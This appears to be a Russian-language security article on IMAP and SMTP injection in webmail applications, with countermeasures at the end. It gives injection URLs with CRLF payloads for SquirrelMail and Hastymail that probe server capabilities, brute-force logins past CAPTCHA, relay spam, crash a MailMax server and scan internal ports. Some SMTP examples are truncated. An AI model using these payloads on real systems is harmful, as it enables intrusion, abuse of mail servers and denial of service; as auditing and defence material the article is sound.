В других случаях определение и использование уязвимых параметров может быть не столь очевидным. Например, когда пользователь получает доступ к своей папке INBOX в Hastymail, запрос выглядит так:

  http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX

Если пользователь изменяет параметр “mailbox” следующим образом:  http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX»

Приложение реагирует выдачей следующей ошибки:

Could not access the following folders:

В этом случае, добавление двойной кавычки не изменило поведения приложения. Результат выполнения запроса такой же, как если бы мы добавили любой другой символ:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST

Приложение реагирует выдачей сообщения об ошибке:

  Could not access the following folders:

Если пользователь пытается использовать вариации IMAP-инъекции:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST «%0d%0aA0003%20CREATE%20″INBOX.test

Приложение также отреагирует выдачей сообщения об ошибке:

  Unable to perform the requested action

Изначально кажется, что попытка IMAP-инъекции не удалась. Однако, используя различные комбинации управляющих символов, можно достичь нужной цели. В следующем пример используется кодирование знака кавычки через представление в виде двух символов, заменяя использованное в предыдущем примере на последовательность %2522:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST

В этом случае приложение не выдаёт никаких сообщений об ошибках и успешно создаёт папку «test» в INBOX.

Другие варианты:

• Подставить в параметр значение null (т.е. “mailbox=”)
• Заменить значение именем несуществующего почтового ящика ( “mailbox=NotExist” ).
• Добавить другие значения к параметрам ( “mailbox=INBOX PARAMETER2” )
• Добавить нестандартные символы ( .?,@,#,!,n)
• Добавить последовательность CRLF ( “mailbox=INBOX%0d%0a”)

 Рамки использования

Когда определён уязвимый параметр (будь то IMAP или SMTP команда), необходимо понять, насколько широко его можно использовать. Другими словами, нужно уяснить последовательность команд и место нашей уязвимой команды в этой последовательности, для того чтобы передать ей адекватные параметры.

Чтобы успешно проделать MX инъекцию, необходимо, чтобы предыдущая команда заканчивалась последовательностью CRLF («%0d%0a»). В этом случае данная последовательность будет использоваться для разделения команд.

Если у пользователя есть возможность внедрения команды и просмотра выдаваемых сообщений об ошибках, то на следующем этапе нужно понять последовательность выполняемых операций.

Рассмотрим пример:

Когда пользователь запрашивает письмо на просмотр, в SquirellMail генерируется следующий запрос:

http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=1&startMessage=1&show_more=0

Если пользователь изменит значение “passed_id” следующим образом:

http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1&show_more=0

То приложение ответит ошибкой:

•   ERROR : Bad or malformed request.
•   Query: FETCH test:test BODY[HEADER] 
•   Server responded: Error in IMAP command received by server

Здесь пользователь может определить, что выполняемая IMAP команда это “FETCH” вместе сопутствующими параметрами. На этом этапе, определив уязвимый параметр, у нас есть достаточно данных, для проведения инъекции дополнительной команды.

  http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=1 BODY [HEADER]%0d%0aZ900 RENAME INBOX ENTRADA%0d%0aZ910 FETCH 1&startMessaGe=1&show_more=0

Данный запрос выполнит следующие IMAP команды на сервере:

FETCH 1 BODY[HEADER]

BODY[1]

Если же пользователь не может видеть сообщения об ошибках (т.н. «инъекция вслепую»), то информация о соответствующей операции должна быть получена из типа выполняемой операции. К примеру, если инъекция делается через параметр формы аутентификации “password”, IMAP команда, выполняемая сервером, будет выглядеть так:

  AUTH LOGIN <user> <password>

Возвращаясь к вышесказанному: если же инъекция проводится через параметр “mailbox”, то исполняемой IMAP командой будет:

  LIST «<reference>» <mailbox>

Чтобы лучше понять принципы работы IMAP протокола, обратитесь к «»RFC 3501: Internet Message Access Protocol — Version 4rev1″ .

 Атака с утечкой информации

Применённая техника: IMAP инъекция.

Необходимость наличия аутентифицированного пользователя: нет

Эта инъекция может применяться для получения информации об IMAP сервере, в тех случаях, когда получение информации другими методами затруднено.

Предполагая, что пользователь имеет возможность инъекции команды “CAPABILITY” в параметр “mailbox”:

http://<webmail>/src/read_body.php?mailbox=INBOX%22%0d%0aZ900 CAPABILITY%0d%0aZ910 SELECT «INBOX&passed_id=1&startMessage=1&show_more=0

Ответ после команды CAPABILITY отобразит список параметров, разделённый запятыми, вместе с соответствующими каждому параметру возможностями сервера.

  * CAPABILITY IMAP4 IMAP4rev1 UIDPLUS IDLE LOGIN-REFERRALS NAMESPACE QUOTA CHILDREN

  * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ MAILBOX-REFERRALS NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME UNSELECT CHILDREN MULTIAPPEND SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES IDLE LISTEXT LIST-SUBSCRIBED ANNOTATEMORE X-NETSCAPE

  * CAPABILITY IMAP4rev1 STARTTLS AUTH=GSSAPI XPIG-LATIN

С помощью этой команды пользователь может определить различные методы аутентификации, поддерживаемые сервером (ответы “AUTH=”), отключенные команды входа (LOGINDISABLED), добавленные к поддерживаемым расширениям и ревизиям IMAP протокола.

Команда CAPABILITY может быть выполнена без аутентификации, поэтому, если она была обнаружена среди команд, доступных для инъекции, то непременно должна быть выполнена.

обход технологий типа CAPTCHA

Примененная техника: IMAP инъекция.

Необходимость наличия аутентифицированного пользователя: нет

В наши дни обычным для веб-приложений стало использование технологии типа CAPTCHA. Цель очевидна – предотвратить автоматизированные атаки на отдельные процессы. Например, добавление CAPTCHA к форме регистрации пользователя предотвращает вход «робота» в качестве обычного пользователя либо подбор существующих имён пользователей или паролей.

Если механизм аутентификации пользователя IMAP сервера уязвим для IMAP инъекции, злоумышленник может обойти ограничения типа CAPTCHA.

Первое: предположим, что поле “password” в форме аутентификации допускает проведение инъекции IMAP команд. Если атакующий пытается определить пароль “pwdok” пользователя “victim”, он может провести многочисленные запросы, используя, например, атаку по словарю.

Далее, предположим, что словарь состоит из следующих записей: pwderror1, pwderror2, pwdok, pwderror3.

В этом случае, пользователь может внедрить следующие команды для проведения атаки:

  http://<webmail>/src/login.jsp?login=victim&password=%0d%0aZ900 LOGIN victim pwderror1%0d%0aZ910 LOGIN victim pwderror2%0d%0aZ920 LOGIN victim pwdok%0d%0aZ930 LOGIN victim pwderror3

Что приведёт к выполнению соответствующих команд на IMAP сервере: (C – запрос клиента, S – ответы сервера):

  C: Z900 LOGIN victim pwderror1

Итак, если пароль жертвы есть в используемом для подбора словаре, то в конце инъекции злоумышленник обнаружит, что он аутентифицирован на сервере. С этого момента можно производить инъекции команд, для которых необходимо быть аутентифицированным на сервере.

 Релеинг

Примененная техника: SMTP инъекция.

Необходимость наличия аутентифицированного пользователя: да

Пользователь, аутентифицированный веб-приложением, имеет возможность создавать и отсылать электронную почту.

Предположим, что параметр «subject» уязвим для SMTP инъекции.

В этой ситуации возможно проведение атаки для использования сервера как релея. Например следующие команды инициируют посылку письма с «внешнего» адреса на другой «внешний» адрес.

Это приведёт к выполнению сервером следующей последовательности SMTP команд:

 MAIL FROM: <mailfrom>

 Рассылка спама.

Примененная техника: SMTP инъекция.

Необходимость наличия аутентифицированного пользователя: да

В этом сценарии всё аналогично предыдущему. Ставя себе цель обойти ограничения, накладываемые сервером (веб-приложением), например по количеству писем, отсылаемых пользователем, атакующий внедряет с уязвимым параметром необходимое количество команд (по нужному количеству писем к отправке). Посылая один нижеприведённый POST запрос веб-серверу, атакующий может выполнить несколько действий. Давайте на примере рассмотрим посылку трёх писем одной командой:

POST http://<webmail>/compose.php HTTP/1.1

Это приведёт к выполнению следующей последовательности SMTP команд:

MAIL FROM: <mailfrom>

Обход ограничений

Примененная техника: SMTP инъекция.

Необходимость наличия аутентифицированного пользователя: да

Этот случай является комбинацией двух предыдущих. Здесь инъекция SMTP команд позволяет обойти ограничения накладываемые на уровне веб-приложения.

Рассмотрим несколько примеров:

Предположим, что веб-приложение не разрешает посылать писем больше заданного количества в определённый промежуток времени. SMTP инъекция позволит обойти ограничение, добавляя столько команд RCPT, сколько необходимо:

POST http://<webmail>/compose.php HTTP/1.1

  …

Это приведёт к посылке серверу следующей последовательности команд:

Обход ограничения на количество вложений:

Предположим, что веб-приложение накладывает ограничение на количество вложений в письмо. SMTP инъекция позволит обойти этот вид ограничений. На примере уязвимого параметра «subject», посмотрим, как можно вложить три текстовых файла:

…

Которые произведут следующую последовательность команд, посланных почтовому серверу:

  MAIL FROM: <mailfrom>

Используя данные три приёма, атакующий может послать столько писем, сколько захочет и с необходимым количеством вложений.

 Использование уязвимостей протоколов

Возможность выполнения произвольных команд почтового протокола на сервере позволит атакующему эксплуатировать существующие уязвимости посылкой серверу соответствующих команд.

Рассмотрим несколько примеров:

DOS-атаки на почтовый сервер

Например: переполнение буфера в MailMax версии 5.

Использование имя почтового ящика длиной более 256 символов в параметре SELECT приведёт к выдаче сообщения «Buffer overrun detected! — Program:»

Теперь сервер остановлен должен быть перезапущен вручную.

Полагая, что если параметр «mailbox» на странице веб-приложения уязвим к IMAP инъекции, использование этой уязвимости может быть проведено следующим способом (требуется, чтобы пользователь был аутентифицирован):

   http://<webmail>/src/compose.php?mailbox=INBOX%0d%0aZ900 SELECT «aa…[256]…aa»

 Выполнение произвольного кода на сервере

Другой пример уязвимого сервера — IMAP сервер MailEnable. Он подвержен переполнению буфера в команде STATUS, которое позволяет выполнить произвольный код на IMAP сервере. Полагая, что параметр «mailbox» веб-приложения уязвим для IMAP инъекции, использование этой уязвимости может быть проведено следующим образом (требуется, чтобы пользователь был аутентифицирован):

http://<webmail>/src/compose.php?mailbox=INBOX%0d%0aZ900 STATUS

 Сканирование портов во внутренней сети

IMAP сервер разработанный в University of Washington (UW-IMAP, http://www.washington.edu/imap) позволяет выполнить сканирование портов используя команду SELECT в формате SELECT «{ip:port}».

На примере рассмотрим использование уязвимости в SquirellMail версии 1.4.2., полагая, что параметр «mailbox» уязвим для IMAP инъекции (требуется, чтобы пользователь был аутентифицирован):

1)      запрос на открытый порт (80) к 192.168.0.1:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:80}

Ответ на предыдущий запрос:

ERROR : Connection dropped by imap-server.

  Query: SELECT «{192.168.0.1:80}»

2)      запрос на закрытый порт (21) к 192.168.0.1:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:21}

Ответ сервера предыдущий запрос:

ERROR : Could not complete request.

  Query: SELECT «{192.168.0.1:21}»

  Reason Given: SELECT failed: Connection failed to 192.168.0.1,21: Connection refused

Различия в ответах от IMAP сервера позволяют злоумышленнику выяснить статус нужного порта.

Подытожим: благодаря MX-инъекциям, стало возможно использовать уязвимости в почтовых серверах, которые в обычной ситуации использовать не удастся. Для аудитора безопасности умение находить и эксплуатировать данные уязвимости — большой плюс. По этой причине данный вопрос будет представлен в будущей статье по эксплуатированию MX- инъекций.

Сравнение IMAP и SMTP инъекций.

Ниже приведенная таблица показывает характеристику обоих типов MX инъекций:

Критерии защиты

Как и при других уязвимостях, приводящих к внедрению данных атакующим, защита веб-проложений электронной почты требует внедрения и применения необходимых мер, предлагаемых командой разработчиком. Однако, чтобы сузить возможность атакующего использующего данные уязвимости, необходимо применять более широкие меры по безопасности всего сервера.

Ниже приведены контрмеры по противодействию подобного типа атакам:

Проверка вводимых данных.

Все введённые данные, используемые приложением (не только введённые пользователем, но и используемые для внутренних нужд) должны быть нормализованы, должны быть удалены все символы, которые могут быть использоваться с умыслом. Проверки должны быть произведены до каких либо манипуляций с данными.

Как обсуждалось ранее, выполнение новых команд IMAP/SMTP требует, чтобы предыдущая команда заканчивалась CRLF. Чтобы убедиться в то, что не внедрено дополнительных команд, вы можете удалить подобные символы до передачи введённых данных непосредственно почтовому серверу.

Конфигурация IMAP/SMTP серверов

Если для доступа к почтовым серверам используется только веб-приложения, данные серверы не должны быть видны из Интернет. В дополнение к этому вы должны усилить ограничения для них, отключая все команды, за исключением действительно необходимых, для снижения угрозы атак MX инъекциями.

Файрволы уровня приложений

Если мы развёртываем такой файрвол наряду с другими системами защиты — можно добавить соответствующие правила к фильтру.

В качестве примера файрвола уровня приложения приведу ModSecurity. Для предыдущего случая со SquirellMail результирующее правило будет выглядеть так:

SecFilterSelective «ARG_mailbox» «rn»

Оно будет фильтровать внедрение последовательности <CRLF> в параметр «mailbox».

Заключение

Этот документ представляет два практических примера веб-приложений (SquirellMail и Hastymail) уязвимых для техники MX инъекций, поэтому все приложения использующие SMTP и IMAP, будут также уязвимы из-за этого.

В настоящее время подавляющее большинство приложений не используют «чистый» протокол (SMTP/IMAP) для связи с почтовым сервером, а используют вызовы стандартных библиотечных функций которые и завершают процесс.

В следующей версии статьи будет проведён анализ упомянутых библиотек, а также веб-приложений, использующих эти библиотеки, которые могут быть уязвимы для MX инъекций.